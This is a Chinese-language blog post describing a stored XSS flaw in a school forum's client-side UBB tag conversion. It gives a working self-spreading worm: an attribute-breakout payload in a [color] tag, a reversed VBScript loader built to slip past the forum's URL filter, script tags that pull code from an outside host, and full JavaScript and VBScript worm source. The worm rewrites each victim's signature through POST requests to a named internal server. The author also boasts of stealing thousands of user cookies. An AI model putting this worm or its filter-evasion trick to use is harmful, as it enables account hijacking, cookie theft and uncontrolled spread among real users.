文章作者:Inking
个人主页:http://www.inkings.cn
比较讨厌打字,我就简单的说一下吧.目标:学校自己写的论坛程序,经过了n年的风风雨雨了
漏洞描述:转换ubb的任务是在客户端完成的(js),虽然论坛程序对客户端提交的代码进行了转义(如:<>\"'等),但是却对ubb代码的属性的javascript字符进行转义,结果就导致了ubb
漏洞,
漏洞关键代码如下
pattern=/(\[URL\])(.[^\[]*)(\[\/URL\])/gi;strContent= strContent.replace(pattern,\"<A HREF=\\"$2\\" TARGET=_blank>$2</A>\")pattern=/\[color=(.[^\[]*)\](.*?)\[\/color\]/gi;strContent=strContent.replace(pattern,\"<span style=\\"color:$1;\\">$2</span>\");
我们再来看看插入html里面后是怎么样的,这里我插入的是签名档,其它地方也是一样的,查看页面源代码看到
<span id=\"ubbcode2\" >test</span><script>searchubb('ubbcode2',3,'tablebody2');</script>
这里的[url]ubb标签不是很好利用,因为他的TARGET=_blank,如果你写入javascript:alert(document.cookie)根本获取不到cookie,因为代码在空白页面中执行了,不过你可以写入javascript:window.location...不过不隐蔽,我们需要更加好的隐藏方式,找来找去唯有[color]这个标签比较好用.我们可以这样来进行闭合
[color=green\" style=\"background:url(javascript:alert(/xss/))][//color]
下面可以来写调用蠕虫的代码了.我这样写
set j=document.createElement(\"\"script\"\"):j.src=\"\" mce_src=\"\"http://xxx/a.js\"\":document.getElementById(\"\"ubbcode1\"\").appendChild(j):set v=document.createElement(\"\"script\"\"):v.src=\"\" mce_src=\"\"http://xxx/vb.vbs\"\":v.language=\"\"vbscript\"\":document.getElementById(\"\"ubbcode1\"\").appendChild(v)
但是这里问题有一个,刚才
漏洞代码里面的url标签会干扰上面的代码里的\"http://xxx/vb.vbs\",误认为这句话也需要转换,所以上面的代码就出错了.解决的方法有两个1是将上面的代码用10进制转换,然后再用String.fromCharCode转换回来,在eval执行,不过这样转换后的代码太长了,想做蠕虫不适合.所以找了一个晚上找到了这么一个解决办法:不要js,用vbs,先将代码倒着写,然后用StrReverse倒回来,再execute执行,这样那个正则就不会看到http这个字符了,程序完美的执行,代码如下
[color=green\" style='background:url(vbscript:execute(StrReverse(\")v(dlihCdneppa.)\"\"1edocbbu\"\"(dIyBtnemelEteg.tnemucod:\"\"tpircsbv\"\"=egaugnal.v:\"\"gpj.sbv/xxx//:ptth\"\"=crs.v:)\"\"tpircs\"\"(tnemelEetaerc.tnemucod=v tes:)j(dlihCdneppa.)\"\"1edocbbu\"\"(dIyBtnemelEteg.tnemucod:\"\"gpj.sj/xxx//:ptth\"\"=crs.j:)\"\"tpircs\"\"(tnemelEetaerc.tnemucod=j tes\")))'][/color]
这里调用了两个文件,一个是js文件,另一个是vbs文件,这两个就是蠕虫程序了两个文件的代码如下
//worm.jsfunction makeRequest(method,url,data){http_request = false;if (window.XMLHttpRequest){ // Mozilla, Safari,...http_request = new XMLHttpRequest();if (http_request.overrideMimeType){http_request.overrideMimeType('text/xml');}}else if (window.ActiveXObject) { // IEtry {http_request = new ActiveXObject(\"Msxml2.XMLHTTP\");} catch (e) {try {http_request = new ActiveXObject(\"Microsoft.XMLHTTP\");} catch (e) {}}}if (!http_request) {alert('Giving up :( Cannot create an XMLHTTP instance');return false;}method=='GET'?http_request.onreadystatechange = alertContents:http_request.onreadystatechange=postback;http_request.open(method, url, true);if(method=='POST'){http_request.setRequestHeader(\"content-length\",data.length);http_request.setRequestHeader(\"content-type\",\"application/x-www-form-urlencoded\");}http_request.send(data);}
function alertContents() {if (http_request.readyState == 4) {if (http_request.status == 200) {content=bytes2BSTR(http_request.responseBody);pattern=/name=\\"title\\" value\=\\"(.*?)\\"/gi;//匹配头衔re=pattern.exec(content);title=re[1];pattern=/value=\\"([01])\\" checked name=\\"Sex\\"|name=\\"Sex\\" checked value=\\"([01])\\"/gi;//匹配性别re=pattern.exec(content);Sex=re[1]==''?re[2]:re[1];pattern=/onclick=\\"birth_ctrl\(\)\\" ([checked=\\"]*?) \/>/gi;//匹配用户生日是否为空re=pattern.exec(content);isbirthnull=re[1]==''?'':'null';if(isbirthnull==''){ pattern=/\<option value=\\"([0-9]{4})\\" selected\>/gi;//匹配出生年 re=pattern.exec(content); birthyear=re[1]; pattern=/\<option value=\\"([0-9]{1,2})\\" selected\>/gi;//匹配出生月日 var inre=1; while((re=pattern.exec(content))!=null){ inre==1?birthmonth=re[1]:birthday=re[1]; inre ; }}else{birthyear='';birthmonth='';birthday='';}pattern=/name=\\"myface\\" size=30 maxlength=100 value=(.*?)>/gi;//匹配用户头像re=pattern.exec(content);myface=re[1];pattern=/name=\\"width\\" size=3 maxlength=3 value=([0-9]*?)>/gi;//匹配用户头像宽度re=pattern.exec(content);width=re[1];pattern=/name=\\"height\\" size=3 maxlength=3 value=([0-9]*?)>/gi;//匹配用户头像高度re=pattern.exec(content);height=re[1];pattern=/name=\\"userphoto\\" value=\\"(.*?)\\"/gi;//匹配用户照片re=pattern.exec(content);userphoto=re[1];pattern=/name=\\"groupname\\" value=\\"(.*?)\\"/gi;//匹配用户门派re=pattern.exec(content);groupname=re[1];pattern=/wrap=PHYSICAL\>(.*?)\<\/textarea\>/gi;//匹配签名内容re=pattern.exec(content);Signature=re[1];pattern=/name=\\"usercookies\\" value=\\"([0-9])\\" checked/gi;//匹配用户cookiesre=pattern.exec(content);usercookies=re[1];pattern=/name=setuserinfo value=([0-1]) checked/gi;//匹配用户保密re=pattern.exec(content);setuserinfo=re[1];extras=\"[color=green\" style='background:url(vbscript:execute(StrReverse(\")v(dlihCdneppa.)\"\"1edocbbu\"\"(dIyBtnemelEteg.tnemucod:\"\"tpircsbv\"\"=egaugnal.v:\"\"gpj.sbv/CIP/sbb/gnauhcnay/nc.ude.ujz.bgy//:ptth\"\"=crs.v:)\"\"tpircs\"\"(tnemelEetaerc.tnemucod=v tes:)j(dlihCdneppa.)\"\"1edocbbu\"\"(dIyBtnemelEteg.tnemucod:\"\"gpj.sj/CIP/sbb/gnauhcnay/nc.ude.ujz.bgy//:ptth\"\"=crs.j:)\"\"tpircs\"\"(tnemelEetaerc.tnemucod=j tes\")))'][/color]\";//extras=URLEncoding(extras);if(Signature.indexOf(\"StrReverse\")>-1){return false;}face='gg1.gif';post='title=' title '&Sex=' Sex '&isbirthnull=' isbirthnull '&birthyear=' birthyear '&birthmonth=' birthmonth '&birthday=' birthday '&face=' face '&myface=' myface '&width=' width
'&height=' height '&userphoto=' userphoto '&groupname=' groupname '&Signature=' Signature ' ' extras '&usercookies=' usercookies '&setuserinfo=' setuserinfo '&Submit=' escape('更 新');cookies=document.cookie.split(\";\");for(var i=0;i<cookies.length;i ){if(cookies[i].indexOf('userid')>-1)uc=cookies[i];}uc=uc.split(\"&\");for(var i=0;i<uc.length;i ){if(uc[i].indexOf('userid')>-1)uid=uc[i];}post=URLEncoding(post);url='http://10.71.45.98/mymodify.asp?action=updat&' uid;makeRequest('POST',url,post);} else {alert('There was a problem with the request.');}}}
function postback(){}var http_request = false;var url='http://10.71.45.98/mymodify.asp';makeRequest('GET',url,null);
'worm.vbs'以下函数是uft8和gbk的转码函数,为了返回的内容是对的Function bytes2BSTR(vIn)strReturn = \"\"For i = 1 To LenB(vIn)ThisCharCode = AscB(MidB(vIn,i,1))If ThisCharCode < &H80 ThenstrReturn = strReturn & Chr(ThisCharCode)ElseNextCharCode = AscB(MidB(vIn,i 1,1))strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 CInt(NextCharCode))i = i 1End IfNextbytes2BSTR = strReturnEnd Function
'以下函数为url编码函数,这个是为了post过去的函数是对的Function URLEncoding(vstrIn)strReturn = \"\"For i = 1 To Len(vstrIn)ThisChr = Mid(vStrIn,i,1)If Abs(Asc(ThisChr)) < &HFF ThenstrReturn = strReturn & ThisChrElseinnerCode = Asc(ThisChr)If innerCode < 0 TheninnerCode = innerCode &H10000End IfHight8 = (innerCode And &HFF00)\ &HFFLow8 = innerCode And &HFFstrReturn = strReturn & \"%\" & Hex(Hight8) & \"%\" & Hex(Low8)End IfNextURLEncoding = strReturnEnd Function
其中对vbs文件进行简单的说明,由于ajax只认识uft-8,所以返回或者接收到的都会是乱码,所以需要这个vbs进行转码,然后再urlencode进行post下面对js文件进行详细的说明对于makeRequest这个自定义函数只要学过ajax的都知道,这个是主要代码,哪里都差不多,所以就不说了.alertContents函数是对返回的数据进行正则匹配,筛选出要的数据备用具体工作的流程是这样的:由于我是将蠕虫代码插入到个人签名里面的,所以首先get到http://10.71.45.98/mymodify.asp地址(个人签名修改页),用来get的函数是makeRequest(),然后makeRequest函数将返回的数据传给alertContents()函数,alertContents函数对mymodify.asp的内容进行正则匹配,得到用户原来的个性签名,出生年月等信息,毕竟我们在插入代码的时候要保证用户原来的信息的完整性,这样才能达到隐蔽的效果.得到这些信息后alertContents函数再将我的恶意代码连同用户原来的信息post到http://10.71.45.98/mymodify.asp?action=updat&uid=xxxx这个页面上去,这样就修改了用户数据,插入了蠕虫传染代码,变量extras的值就是蠕虫传播代码,经过了escape加密的,这样是为了防止程序出错,post上去的数据能够保持完整.好了代码其实都很简单,里面也没有什么破坏的代码,甚至连个弹窗的代码,毕竟这个论坛不是那么好搞的,万一被查,我就卷铺盖走人了.利用方式也很简单,将上面的上面的上面的代码先插入到某个人的签名档里面,然后只要他去发帖,别人点了后马上感染,然后再感染.这个
漏洞还是比较隐蔽的,按照上面的代码没有任何异常的现象.本来想贴几张图的,没想到是知道的我的事情的人太多了还是之前自己在盗cookie的时候被发现了(那cookie的量可是相当的大,几千个呵呵),在写这篇文章的时候
漏洞居然给补上了,我寒.有鸡蛋就扔过来吧